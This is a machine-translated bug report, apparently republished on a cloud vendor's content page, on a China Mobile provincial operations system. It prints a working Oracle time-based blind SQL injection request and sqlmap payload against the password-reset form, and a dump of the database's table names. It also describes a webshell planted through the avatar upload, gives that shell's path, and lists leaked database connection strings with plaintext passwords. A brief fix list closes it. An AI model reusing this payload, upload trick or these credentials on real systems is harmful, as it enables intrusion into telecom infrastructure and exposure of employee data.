A provincial O & M system of China Mobile has blind injection and getshell (a large number of employees/basic devices/authorizable Intranet)

Source: Internet
Author: User

A provincial O & M system of China Mobile has blind injection and getshell (a large number of employees/basic devices/authorizable Intranet)

Blind injection is really slow

Http ://

Mask Region
  
   1.://**.**.**/NMMP/
  





Forgot password

Mobile =



Oracle time blind Injection
 

POST /NMMP/resetpwdAction!checkAccountAndMobile.ilf HTTP/1.1Host: 

 

Mask Region
  
   1.://**.**.**
  


Proxy-Connection: keep-alive
Content-Length: 23
Origin: http ://

Mask Region
  
   1.://**.**.**
  


User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset = UTF-8
Accept :*/*
Referer: Http: // **. **: 7010/NMMP/resetpwdAction. ilf
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh; q = 0.8
Cookie: JSESSIONID = NSsNWldCX2SPj5dWsY9bkvGQZymFkQcy8yCnZGbZGTvYvBns91G1! -1030327823

Mobile = 111 * & account = root




 

sqlmap resumed the following injection point(s) from stored session:---Parameter: mobile (POST)    Type: AND/OR time-based blind    Title: Oracle AND time-based blind    Payload: mobile=111' AND 5010=DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(110)||CHR(113)||CHR(115),5) AND 'aGPk'='aGPk&account=root---web application technology: Servlet 2.5, JSP, JSP 2.1back-end DBMS: OracleDatabase: AUTHDB[51 tables]+----------------------+| RESOURCETYPE        || AUTHORITYOPTION      || AUTHORITYRULE        || CITY                 || CITY_AREA            || CMP_TEMP             || COMPANY              || COUNTRY              || DW_ROLE              || EMPLEVEL             || EMPLOYEE             || EMPLOYEE_20150330    || FUNCTIONS            || FUNCTIONS3           || FUNCTYPE             || GROUPFUNC            || GROUPROLE            || GRPMEMBER            || LOGINLOG             || OPERATIONLOG         || PASSWORDHISTORY      || ROLEFUNC             || ROLEFUNC0830         || ROLEINHERITA         || ROLES                || SSO_ACCOUNTCODE      || SSO_ACCOUNTMAP       || SSO_DOMAINAPP        || SSO_STRATEGIES       || TAOCI                || TEST_DW              || TEST_ZW              || T_APP_USE_2          || T_APP_USE_3          || T_BPM_USERINFO       || T_PLT_LOGIN          || T_PLT_LOGINCITYDW_TG || T_PLT_LOGINDW_TG     || T_PLT_LOGIN_3        || UNIT                 || UNIT_20150330        || UNIT_YY              || USERBACK             || USERFUNC             || USERFUNC_BAK         || USERGROUP            || USERINFO             || USERINFO_20150330    || USERINFO_TEMP        || USERROLE             || USERXINXI            |+----------------------+





USERINFO Field

Test account:


 

Mask Region
  
   *****gui/HNd*****
  




 




 







Getshell

Personnel Change-> upload profile picture weblogic earlier version direct Trojan
 







You can connect to the database to obtain the password leakage and information of more than 10 thousand employees under the administrator account.


 

Mask Region
  
   *****ins*****
  

Logon System


 




 




 







Http ://

Mask Region
  
   1.://**.**.**/handtask/
  

Account password and maintenance proxy system Interworking



Test

Mask Region
  
   *****gui/HNd*****
  





Large number of Intranet addresses
 




 

 

 




 

jdbc.driverClassName=oracle.jdbc.driver.OracleDriver#jdbc.url=jdbc:oracle:thin:@**.**.**.**:1521:orcljdbc.url=jdbc:oracle:thin:@**.**.**.**:1521:zhjk#jdbc.url=jdbc:oracle:thin:@**.**.**.**:1521:ossoradb2jdbc.username=GZ_BSSjdbc.password=GZ_BSS




 

#jdbc.url=jdbc:oracle:thin:@**.**.**.**:1521:gstsora#jdbc.url=jdbc:oracle:thin:@**.**.**.**:1521:orcl#jdbc.username=tmn#jdbc.password=tmn123[email protected]#jdbc.username=custcare_gsyd#jdbc.password=custcarejdbc.driverClassName=oracle.jdbc.driver.OracleDriver#jdbc.url=jdbc:oracle:thin:@**.**.**.**:1521:orcljdbc.url=jdbc:oracle:thin:@**.**.**.**:1521:netmaintain#jdbc.url=jdbc:oracle:thin:@**.**.**.**:1521:netmaintainjdbc.username=NETMAINTAINjdbc.password=NETMAINTAIN

 

Solution:

1. Fix injection in the front-end that forgets the password

2. There is still time for blind injection self-check in the background search

3. Upload the file getshell in the Avatar





Webshell: http ://

Mask Region
  
   1.://**.**.**
  

/NMMP/upload/qualification/employee/photo/201601_1516367583044.jsp

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.